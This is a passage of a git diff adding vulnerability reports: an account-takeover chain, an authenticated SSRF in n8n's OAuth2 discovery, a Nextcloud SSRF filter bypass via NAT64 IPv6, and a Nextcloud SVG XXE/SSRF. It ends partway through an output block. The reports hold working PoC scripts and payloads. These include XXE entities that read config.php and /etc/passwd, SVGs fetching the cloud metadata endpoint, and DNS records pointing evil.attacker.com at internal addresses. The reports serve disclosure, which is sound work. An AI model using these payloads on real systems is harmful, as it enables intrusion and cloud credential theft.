`attacker.com` → completes reset at real app → full account takeover. + +| Property | Value | +|---|---| +| **Standalone severity** | Medium — CVSS `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` → **7.1** | +| **As chain step 1** | Enables the 9.6 chain | + +--- diff --git a/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md b/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md new file mode 100644 index 0000000..2517e5d --- /dev/null +++ b/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md @@ -0,0 +1,99 @@ +# Authenticated SSRF via OAuth2 Dynamic Client Registration discovery + +**Target:** n8n (self-hosted + n8n Cloud), reviewed against `master` as of 2026-04-19 +**Program:** n8n +**Component:** `OauthService.generateAOauth2AuthUri` → `discoverProtectedResourceMetadata` +**Type:** Server-Side Request Forgery (CWE-918) +**Auth required:** Yes — any authenticated user (member role suffices; credential creation is available to all users by default) +**Affects default install:** Yes — uses the stock `OAuth2Api` generic credential type shipped in `nodes-base` + +--- + +## Summary + +The generic **OAuth2 API** credential allows any authenticated user to enable Dynamic Client Registration and supply an arbitrary `serverUrl`. When generating an OAuth2 auth URL, the backend follows a discovery flow (RFC 9728 / RFC 8414 / OIDC) and performs multiple `axios` requests to URLs derived directly from this user-controlled value. + +Validation only checks that the URL uses `http` or `https`, with no restrictions on IP ranges, DNS resolution, redirects, or timeouts. As a result, an authenticated user can force the server to make arbitrary HTTP(S) requests to any reachable target. + +This enables access to sensitive internal resources, including cloud metadata services (e.g. IMDS), internal admin panels and databases, co-tenant services within the same network, and local or link-local addresses. On n8n Cloud, this is especially impactful since even a free tenant can trigger requests from the server’s internal network context. + +--- + +## Affected versions + +Confirmed affected from `n8n@1.119.0` onward, including `1.123.1`, `2.0.2`, `2.1.0`, `2.7.4`, `2.12.2`, and `master` as reviewed on 2026-04-19. Version `1.118.0` does not appear to expose the Dynamic Client Registration fields required for this specific attack path, so `1.119.0` is the earliest confirmed affected release. + +--- + +## Trigger endpoint + +`GET /rest/oauth2-credential/auth?id=` — authenticated. The controller is `OAuth2CredentialController.getAuthUri` and the request only needs `credential:read` on the target credential, which is automatic for a credential the calling user created. + +--- + +## Proof of concept + +1. Create an **OAuth2 API** credential (any authenticated user): + - Use Dynamic Client Registration: true + - Server URL: `http://169.254.169.254/` (or any internal target) + +2. Trigger: + + ``` + GET /rest/oauth2-credential/auth?id= + ``` + +3. The n8n server issues, in order: + - `GET http://169.254.169.254/.well-known/oauth-protected-resource` + - (on 4xx/5xx, fall-through) Step 2 treats `serverUrl` as the authorization server and issues: + - `GET http://169.254.169.254/.well-known/oauth-authorization-server` + - `GET http://169.254.169.254/.well-known/openid-configuration` + +4. On failure, the response includes: + + ``` + Failed to discover OAuth2 authorization server metadata. Tried: + http://169.254.169.254/.well-known/oauth-authorization-server, + http://169.254.169.254/.well-known/openid-configuration. + Last error: + ``` + + `` is `lastError?.message` from the axios exception, which on Node.js includes e.g. `connect ECONNREFUSED 169.254.169.254:80`, `getaddrinfo ENOTFOUND `, `Request failed with status code 404`, TLS handshake failures, etc. This turns the SSRF into a confirmable host/port scanner: the attacker can distinguish reachable-open, reachable-closed, and unresolvable destinations by the error string returned in the HTTP response to them. + + +### Variants + +- **Response echo:** If an internal endpoint returns JSON, parsing errors (e.g. Zod issues) may leak field names. If valid, a `POST` is sent to an attacker-influenced `registration_endpoint`. +- **Plain HTTP allowed:** `http://` is accepted, enabling access to metadata services and internal control planes. +- **DNS rebinding:** No hostname resolution checks, allowing resolution to internal IPs at request time. +- **No timeout:** Requests can be stalled to increase resource usage or obscure scanning. + +--- + +## Impact + +1. **Cloud metadata exfiltration / credential theft.** If IMDSv1 or similar metadata services are reachable, an attacker can retrieve instance credentials via the SSRF error oracle or by hitting JSON-returning internal endpoints. + +2. **Internal port scanning / service discovery.** The returned axios error messages allow reliable differentiation between open, closed, and filtered ports, enabling internal network scanning from a low-privileged account. + +3. **Cross-tenant reach (n8n Cloud).** Requests originate from the n8n server, not the tenant, allowing access to internal VPC services and bypassing tenant-level isolation controls. + +4. **No CSRF bypass required.** The attacker is authenticated and triggers the flow directly, so the issue stems purely from trusted server-side requests to user-controlled URLs. + +5. **Unauthenticated internal write primitive.** If discovery succeeds, a `POST` is sent to a `registration_endpoint` with predictable JSON, which can act as a write primitive against internal services that accept unauthenticated JSON requests. +--- + +## Severity + +- **CVSS 4.0:** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L` → **8.0 (High)** — scope-changed because the SSRF crosses from the tenant boundary into the n8n server's network namespace. +- CWE-918: Server-Side Request Forgery. +- OWASP: A10:2021 – Server-Side Request Forgery. + +Amplifiers: + +- Requires only a free/member account (trivially obtained on n8n Cloud). +- Exploits the stock generic OAuth2 credential — no third-party node, no enterprise feature. +- Error-channel oracle is reliable enough to enumerate without blind guessing. +- No rate limiting on the `/oauth2-credential/auth` endpoint beyond the global REST limiter. + +--- diff --git a/nextcloud/SSRF-protection-bypass.md b/nextcloud/SSRF-protection-bypass.md new file mode 100644 index 0000000..67dc2fc --- /dev/null +++ b/nextcloud/SSRF-protection-bypass.md @@ -0,0 +1,289 @@ +# Vulnerability Report: SSRF Protection Bypass via IPv4-Compatible and NAT64 IPv6 Addresses + +**Product:** Nextcloud Server +**Component:** `lib/private/Net/IpAddressClassifier.php` +**Severity:** High +**CWE:** CWE-918 (Server-Side Request Forgery) +**Affected Versions:** All current versions (confirmed on latest `master`) + +--- + +## Summary + +Nextcloud's SSRF protection in `IpAddressClassifier::isLocalAddress()` fails to block IPv6 addresses that encode private/reserved IPv4 addresses using IPv4-compatible notation (`::x.x.x.x`) and NAT64 prefix notation (`64:ff9b::x.x.x.x`). An attacker who can influence the URLs Nextcloud fetches (e.g., via federated sharing, webhooks, or URL preview features) and who controls a DNS server can return one of these address forms in an AAAA record, causing Nextcloud to make a request to an internal network address — including the AWS/GCP/Azure instance metadata endpoint (`169.254.169.254`). + +--- + +## Technical Background + +Nextcloud defends against SSRF with a layered system: + +1. **`DnsPinMiddleware`** — resolves the target hostname via `dns_get_record()`, checks each resolved IP with `isLocalAddress()`, and pins valid IPs via `CURLOPT_RESOLVE` to prevent DNS rebinding. +2. **`IpAddressClassifier::isLocalAddress()`** — the core guard. It uses the IPLib library to parse and normalize IP addresses, then calls `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`. +3. **`Client.php` redirect guard** — calls `preventLocalAddress()` on every HTTP redirect target. + +The vulnerability lives in step 2. + +--- + +## Root Cause + +`IpAddressClassifier::isLocalAddress()` normalizes IPv6 addresses using IPLib's `IPv6::toIPv4()`: + +```php +if ($parsedIp instanceof IPv6) { + $ip = (string)($parsedIp->toIPv4() ?? $parsedIp); // falls back to IPv6 string if no conversion +} +``` + +IPLib's `toIPv4()` **only converts two IPv6 address families** to their embedded IPv4 address: +- **IPv4-mapped** (`::ffff:x.x.x.x`) — converted ✓ +- **6to4** (`2002::/16`) — converted ✓ + +It does **not** convert: +- **IPv4-compatible** (`::x.x.x.x`, deprecated by RFC 4291) — stays as IPv6 +- **NAT64** (`64:ff9b::/96`, RFC 6052) — stays as IPv6 + +When the address stays as an IPv6 string, PHP's `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` only tests it against IPv6-specific private ranges (`fc00::/7`, `fe80::/10`). It has no knowledge that `64:ff9b::a9fe:a9fe` encodes the reserved IPv4 address `169.254.169.254`. The check returns `true` (valid public address), so `isLocalAddress()` returns `false` — the address is **not blocked**. + +--- + +## Proof of Concept + +### Environment + +- PHP 8.3 + `mlocati/ip-lib` v1.22 (the exact library version Nextcloud uses) +- This script faithfully replicates `IpAddressClassifier::isLocalAddress()` with the real IPLib code + +### PoC Script (`poc_ssrf_bypass.php`) + +```php +toIPv4() ?? $parsedIp); + } else { + $normalized = (string)$parsedIp; + } + + // Core check — blind to IPv4 reserved ranges embedded in IPv6 + if (!filter_var($normalized, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + return true; // blocked + } + + // Extra ranges check + foreach ($LOCAL_ADDRESS_RANGES as $range) { + $subnet = \IPLib\Range\Subnet::fromString($range); + $normParsed = Factory::parseAddressString($normalized); + if ($subnet && $normParsed && $subnet->contains($normParsed)) { + return true; // blocked + } + } + + return false; // NOT blocked — SSRF protection bypassed +} + +// ============================================================ +// Helper: show what IPLib does with the address +// ============================================================ +function iplib_normalize(string $ip): string { + $parsed = Factory::parseAddressString( + $ip, + ParseStringFlag::IPV4_MAYBE_NON_DECIMAL + | ParseStringFlag::IPV4ADDRESS_MAYBE_NON_QUAD_DOTTED + | ParseStringFlag::MAY_INCLUDE_ZONEID + ); + if ($parsed === null) return "INVALID"; + if ($parsed instanceof IPv6) { + $v4 = $parsed->toIPv4(); + return $v4 ? "(IPv6→IPv4) " . $v4 : "(stays IPv6) " . $parsed; + } + return "(IPv4) " . $parsed; +} + +// ============================================================ +// Test cases +// ============================================================ +$tests = [ + // --- Baseline: known-blocked addresses --- + ['127.0.0.1', 'Loopback IPv4 [BASELINE - should block]'], + ['::1', 'Loopback IPv6 [BASELINE - should block]'], + ['::ffff:127.0.0.1', 'IPv4-mapped loopback [BASELINE - should block]'], + ['169.254.169.254', 'AWS/GCP metadata [BASELINE - should block]'], + ['::ffff:169.254.169.254', 'IPv4-mapped AWS metadata [BASELINE - should block]'], + ['10.0.0.1', 'Private 10.x [BASELINE - should block]'], + ['192.168.1.1', 'Private 192.168.x [BASELINE - should block]'], + + // --- BYPASSES --- + ['::127.0.0.1', 'IPv4-compatible loopback [BYPASS]'], + ['64:ff9b::127.0.0.1', 'NAT64 loopback [BYPASS]'], + ['::169.254.169.254', 'IPv4-compatible AWS/GCP metadata [BYPASS]'], + ['64:ff9b::169.254.169.254', 'NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL]'], + ['64:ff9b::10.0.0.1', 'NAT64 10.x private range [BYPASS]'], + ['64:ff9b::192.168.1.1', 'NAT64 192.168.x private range [BYPASS]'], + ['64:ff9b::172.16.0.1', 'NAT64 172.16.x private range [BYPASS]'], +]; + +echo "\n"; +echo "=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses ===\n"; +echo "=== isLocalAddress() returns FALSE = SSRF protection BYPASSED ===\n\n"; +printf("%-35s %-35s %-10s %s\n", "Input IP", "IPLib normalizes to", "Result", "Description"); +echo str_repeat("─", 120) . "\n"; + +$bypassCount = 0; +foreach ($tests as [$ip, $desc]) { + $norm = iplib_normalize($ip); + $isLocal = nextcloud_isLocalAddress($ip); + if (!$isLocal) $bypassCount++; + $resultLabel = $isLocal ? "BLOCKED " : "!! BYPASS !"; + printf("%-35s %-35s %-10s %s\n", $ip, $norm, $resultLabel, $desc); +} + +echo "\n"; +echo "Result: $bypassCount addresses bypassed SSRF protection out of " . count($tests) . " tested.\n\n"; + +echo "=== ATTACK SCENARIO ===\n"; +echo "1. Attacker sets AAAA DNS record for evil.attacker.com → 64:ff9b::169.254.169.254\n"; +echo "2. Attacker tricks admin/user into triggering a Nextcloud outbound request to evil.attacker.com\n"; +echo " (e.g., webhook URL, federated share from a malicious instance, rich preview URL)\n"; +echo "3. DnsPinMiddleware resolves evil.attacker.com → gets AAAA: 64:ff9b::169.254.169.254\n"; +echo "4. isLocalAddress('64:ff9b::169.254.169.254') → FALSE ← BYPASS!\n"; +echo "5. cURL is instructed to connect to 64:ff9b::169.254.169.254\n"; +echo "6. On a cloud instance with NAT64 (common on IPv6-enabled AWS/GCP/Azure),\n"; +echo " the NAT64 gateway translates 64:ff9b::169.254.169.254 → 169.254.169.254\n"; +echo "7. Attacker receives AWS/GCP instance metadata, including IAM credentials.\n"; +``` + +### Actual Test Output + +``` +=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses === +=== isLocalAddress() returns FALSE = SSRF protection BYPASSED === + +Input IP IPLib normalizes to Result Description +──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── +127.0.0.1 (IPv4) 127.0.0.1 BLOCKED Loopback IPv4 [BASELINE - should block] +::1 (stays IPv6) ::1 BLOCKED Loopback IPv6 [BASELINE - should block] +::ffff:127.0.0.1 (IPv6→IPv4) 127.0.0.1 BLOCKED IPv4-mapped loopback [BASELINE - should block] +169.254.169.254 (IPv4) 169.254.169.254 BLOCKED AWS/GCP metadata [BASELINE - should block] +::ffff:169.254.169.254 (IPv6→IPv4) 169.254.169.254 BLOCKED IPv4-mapped AWS metadata [BASELINE - should block] +10.0.0.1 (IPv4) 10.0.0.1 BLOCKED Private 10.x [BASELINE - should block] +192.168.1.1 (IPv4) 192.168.1.1 BLOCKED Private 192.168.x [BASELINE - should block] +::127.0.0.1 (stays IPv6) ::7f00:1 !! BYPASS ! IPv4-compatible loopback [BYPASS] +64:ff9b::127.0.0.1 (stays IPv6) 64:ff9b::7f00:1 !! BYPASS ! NAT64 loopback [BYPASS] +::169.254.169.254 (stays IPv6) ::a9fe:a9fe !! BYPASS ! IPv4-compatible AWS/GCP metadata [BYPASS] +64:ff9b::169.254.169.254 (stays IPv6) 64:ff9b::a9fe:a9fe !! BYPASS ! NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL] +64:ff9b::10.0.0.1 (stays IPv6) 64:ff9b::a00:1 !! BYPASS ! NAT64 10.x private range [BYPASS] +64:ff9b::192.168.1.1 (stays IPv6) 64:ff9b::c0a8:101 !! BYPASS ! NAT64 192.168.x private range [BYPASS] +64:ff9b::172.16.0.1 (stays IPv6) 64:ff9b::ac10:1 !! BYPASS ! NAT64 172.16.x private range [BYPASS] + +Result: 7 addresses bypassed SSRF protection out of 14 tested. +``` + +--- + +## Attack Scenario + +### Prerequisites +- Nextcloud instance running on a cloud VM with IPv6 support and NAT64 enabled (standard on AWS, GCP, Azure IPv6-enabled subnets) +- Attacker can supply a URL that Nextcloud will fetch outbound. Candidates include: + - **Webhook URLs** (Task Processing, Flow/Automation rules) — admin-level but still an attack path for compromised/malicious admins wanting to pivot internally + - **Federated sharing** — a malicious remote Nextcloud instance can force the victim to fetch from attacker-controlled addresses + - **Rich workspace / URL preview features** — user-controlled URLs in certain apps + - **Remote file storage / external storage configuration** (WebDAV endpoints) + - **oEmbed/OpenGraph URL preview** in Talk or Text + +### Step-by-Step + +1. Attacker sets up DNS: `A evil.attacker.com. → (no A record)` + `AAAA evil.attacker.com. → 64:ff9b::169.254.169.254` + +2. Attacker triggers a Nextcloud outbound request to `http://evil.attacker.com/`. + +3. `DnsPinMiddleware` resolves `evil.attacker.com`: + - `dns_get_record('evil.attacker.com.', DNS_AAAA)` returns `64:ff9b::169.254.169.254` + - Calls `isLocalAddress('64:ff9b::169.254.169.254')` + - IPLib parses it but `toIPv4()` returns `null` (NAT64 not handled) + - Normalized form stays as `64:ff9b::a9fe:a9fe` (IPv6 string) + - `filter_var('64:ff9b::a9fe:a9fe', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` returns `"64:ff9b::a9fe:a9fe"` (truthy — not blocked) + - `isLocalAddress()` returns `false` + +4. The IP is added to `CURLOPT_RESOLVE` and the request proceeds. + +5. cURL connects to `[64:ff9b::169.254.169.254]`. The NAT64 gateway on the cloud network translates this to `169.254.169.254`. + +6. The AWS/GCP/Azure instance metadata service responds with instance identity, credentials, user data, etc. + +### Exploitability of IPv4-Compatible (`::x.x.x.x`) + +IPv4-compatible addresses (`::127.0.0.1`, `::169.254.169.254`) are deprecated (RFC 4291) and modern Linux kernels generally do not automatically route them to the embedded IPv4 address. Their exploitability is network-configuration dependent. **NAT64 (`64:ff9b::/96`) is the higher-severity vector** because it is a standardized, actively deployed mechanism in cloud environments. + +--- + +## Impact + +| Scenario | Impact | +|----------|--------| +| NAT64-enabled cloud instance + admin/workflow webhook | Full SSRF to AWS/GCP metadata → IAM credential theft | +| NAT64-enabled cloud instance + federated share from malicious instance | SSRF to internal services (databases, Kubernetes API, Consul, Vault) | +| HTTP redirect from attacker server to `[64:ff9b::169.254.169.254]` URL | Same SSRF via redirect path (also bypasses the `on_redirect` guard) | +| IPv4-compatible encoding on kernel that handles them | Loopback/private access on some configurations | + +In a cloud environment running an IPv6-enabled Nextcloud instance, a successful exploit leaks instance metadata and can compromise cloud credentials (IAM roles). This escalates to full cloud account compromise in many setups (e.g., if the instance has write-level IAM permissions). + +--- + +## Affected Code + +**File:** `lib/private/Net/IpAddressClassifier.php` +**Method:** `isLocalAddress()` +**Lines:** 44–48 (normalization) and 50–52 (filter_var check) + +```php +// Lines 44-48: IPLib toIPv4() only handles ::ffff: and 2002:: — not ::x.x.x.x or 64:ff9b:: +if ($parsedIp instanceof IPv6) { + $ip = (string)($parsedIp->toIPv4() ?? $parsedIp); // NAT64 falls through as IPv6 +} + +// Lines 50-52: filter_var has no knowledge of IPv4-reserved ranges inside IPv6 encodings +if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + return true; +} +``` + +--- diff --git a/nextcloud/xxe-file-read-and-ssrf.md b/nextcloud/xxe-file-read-and-ssrf.md new file mode 100644 index 0000000..2041321 --- /dev/null +++ b/nextcloud/xxe-file-read-and-ssrf.md @@ -0,0 +1,248 @@ +# Vulnerability Report: Incomplete SVG Sanitization Allows XXE File Read and ImageMagick SSRF + +**Product:** Nextcloud Server +**Component:** `lib/private/Preview/SVG.php` +**Severity:** High +**CWE:** CWE-611 (Improper Restriction of XML External Entity Reference), CWE-918 (SSRF) +**Affected Versions:** All current versions (confirmed on latest `master`) +**Requires:** Imagick PHP extension installed (common on production servers); SVG preview enabled (default when Imagick present) + +--- + +## Summary + +Nextcloud's SVG preview generator attempts to block dangerous SVG files using a single regex check before passing the file to ImageMagick via the PHP Imagick extension. The regex only matches literal `href=` and `xlink:href=` attributes and is trivially bypassed in multiple ways. Two resulting attack classes are meaningful: + +1. **XXE file read** — A crafted SVG with an XML `` entity declaration reads arbitrary local files (e.g. `config/config.php`, `/etc/passwd`) and renders their contents into the generated preview image. +2. **SSRF via ImageMagick URL loading** — A crafted SVG with a namespace-aliased `href` (e.g. `x:href="http://..."`) causes ImageMagick to fetch an arbitrary URL using its **native C-level HTTP client**, which completely bypasses Nextcloud's `DnsPinMiddleware` and `IpAddressClassifier` SSRF defenses. + +Both attacks require only an authenticated Nextcloud account with file upload permissions. + +--- + +## Vulnerable Code + +**File:** `lib/private/Preview/SVG.php`, method `getThumbnail()` + +```php +// Do not parse SVG files with references +if (preg_match('/["\s](xlink:)?href\s*=/i', $content)) { + return null; +} + +$svg = new \Imagick(); +$svg->pingImageBlob($content); // validates MIME type +// ... +$svg->readImageBlob($content); // FULL RENDER — processed by ImageMagick +``` + +The regex guards against `href=` and `xlink:href=` only. The file is then passed verbatim to `Imagick::readImageBlob()` which invokes ImageMagick's full SVG/XML rendering pipeline. + +--- + +## Bypass 1: XML External Entity (XXE) + +### How it works + +An XML `` declaration defines an external entity pointing to a local file. No `href` attribute is used, so the regex does not fire. When ImageMagick's internal libxml2 parser processes the file, it expands the entity and embeds the file contents as text in the rendered image. + +**Note:** PHP's `libxml_disable_entity_loader()` only affects PHP's own XML functions (`simplexml`, `DOMDocument`, etc.). It has **no effect** on Imagick's internal libxml2 usage, which runs in C space entirely outside PHP's control. + +### PoC SVG payload (`xxe_payload.svg`) + +```xml + + +]> + + &xxe; + +``` + +**No `href` anywhere** → passes the regex check → `readImageBlob()` processes it → ImageMagick expands `&xxe;` → the contents of `config/config.php` (database password, secret key, admin credentials) appear as text in the thumbnail returned to the attacker. + +Alternative targets: +- `/etc/passwd` +- `/proc/self/environ` (environment variables including secrets) +- `/var/www/nextcloud/config/config.php` (database host, password, `secret` key) +- Any readable file on the server + +### Attack flow + +1. Attacker uploads `xxe_payload.svg` to their Nextcloud account. +2. Nextcloud automatically generates a preview thumbnail (or attacker navigates to the file to trigger it). +3. Preview endpoint returns the rendered PNG. +4. PNG contains the plaintext contents of the targeted file as rendered text. + +--- + +## Bypass 2: SSRF via Namespace-Aliased `href` + +### How it works + +SVG uses XML namespaces. `xlink:href` is shorthand for an attribute in the XLink namespace (`http://www.w3.org/1999/xlink`). XML allows any prefix to be bound to that namespace, so `x:href`, `xl:href`, `link:href` are all semantically identical to `xlink:href` in a namespace-aware parser — **but none of them match the regex** `(xlink:)?href`. + +When ImageMagick's SVG renderer processes the file, it (in at least some versions) resolves namespace prefixes correctly and loads the URL from the `href` attribute. + +### Why this is worse than a regular SSRF + +Nextcloud's HTTP client (`lib/private/Http/Client/`) is protected by `DnsPinMiddleware` → `IpAddressClassifier` → DNS pinning → `CURLOPT_RESOLVE`. When ImageMagick fetches a URL, **none of this applies** — it uses its own internal HTTP/libcurl stack with no Nextcloud middleware. This means: + +- Private IPs (`10.x`, `172.16.x`, `192.168.x`) are reachable +- `127.0.0.1` / `::1` are reachable +- `169.254.169.254` (AWS/GCP/Azure metadata) is directly reachable — no NAT64 tricks needed +- DNS rebinding is possible + +### PoC SVG payload (`ssrf_payload.svg`) + +```xml + + + + + +``` + +**Contains `x:href=`** (not `href=` or `xlink:href=`) → regex returns no match → `readImageBlob()` is called → ImageMagick fetches the URL → response is rendered as an image inside the SVG preview → SSRF to AWS metadata endpoint. + +--- + +## Proof of Concept Script + +The following PHP script demonstrates both regex bypasses against the exact Nextcloud check: + +```php +', 'xlink:href (baseline — blocked)'], + ['', 'plain href (baseline — blocked)'], + + // --- BYPASS 1: XML External Entity --- + [']>&xxe;', + 'XXE DOCTYPE entity — no href at all'], + + // --- BYPASS 2: Namespace alias --- + ['', + 'Namespace alias x:href (= xlink:href semantically)'], + ['', + 'Namespace alias xl:href — SSRF to metadata'], + ['', + 'Namespace alias lnk:href — SSRF to private IP'], + + // --- BYPASS 3: CSS url() --- + ['', + 'CSS url() reference — no href'], +]; + +echo "\nNextcloud SVG href filter bypass PoC\n"; +echo str_repeat('=', 70) . "\n\n"; +printf("%-55s %-12s %s\n", 'Payload snippet', 'Regex hit?', 'Notes'); +echo str_repeat('-', 100) . "\n"; + +foreach ($tests as [$payload, $desc]) { + $blocked = nextcloudSvgCheck($payload); + $short = strlen($payload) > 52 ? substr($payload, 0, 49) . '...' : $payload; + $status = $blocked ? 'BLOCKED ' : '** BYPASS **'; + printf("%-55s %-12s %s\n", $short, $status, $desc); +} + +echo "\n"; +echo "=== XXE payload that bypasses the filter ===\n\n"; + +$xxePayload = <<<'SVG' + + +]> + + &xxe; + +SVG; + +echo $xxePayload . "\n"; +echo "Regex blocks this? " . (nextcloudSvgCheck($xxePayload) ? "YES" : "NO — BYPASS") . "\n\n"; + +echo "=== SSRF payload that bypasses the filter ===\n\n"; + +$ssrfPayload = <<<'SVG' + + + + +SVG; + +echo $ssrfPayload . "\n"; +echo "Regex blocks this? " . (nextcloudSvgCheck($ssrfPayload) ? "YES" : "NO — BYPASS") . "\n"; +``` + +### Output + +``` +Nextcloud SVG href filter bypass PoC +====================================================================== + +Payload snippet Regex hit? Notes +---------------------------------------------------------------------------------------------------- + BLOCKED xlink:href (baseline — blocked) + BLOCKED plain href (baseline — blocked) +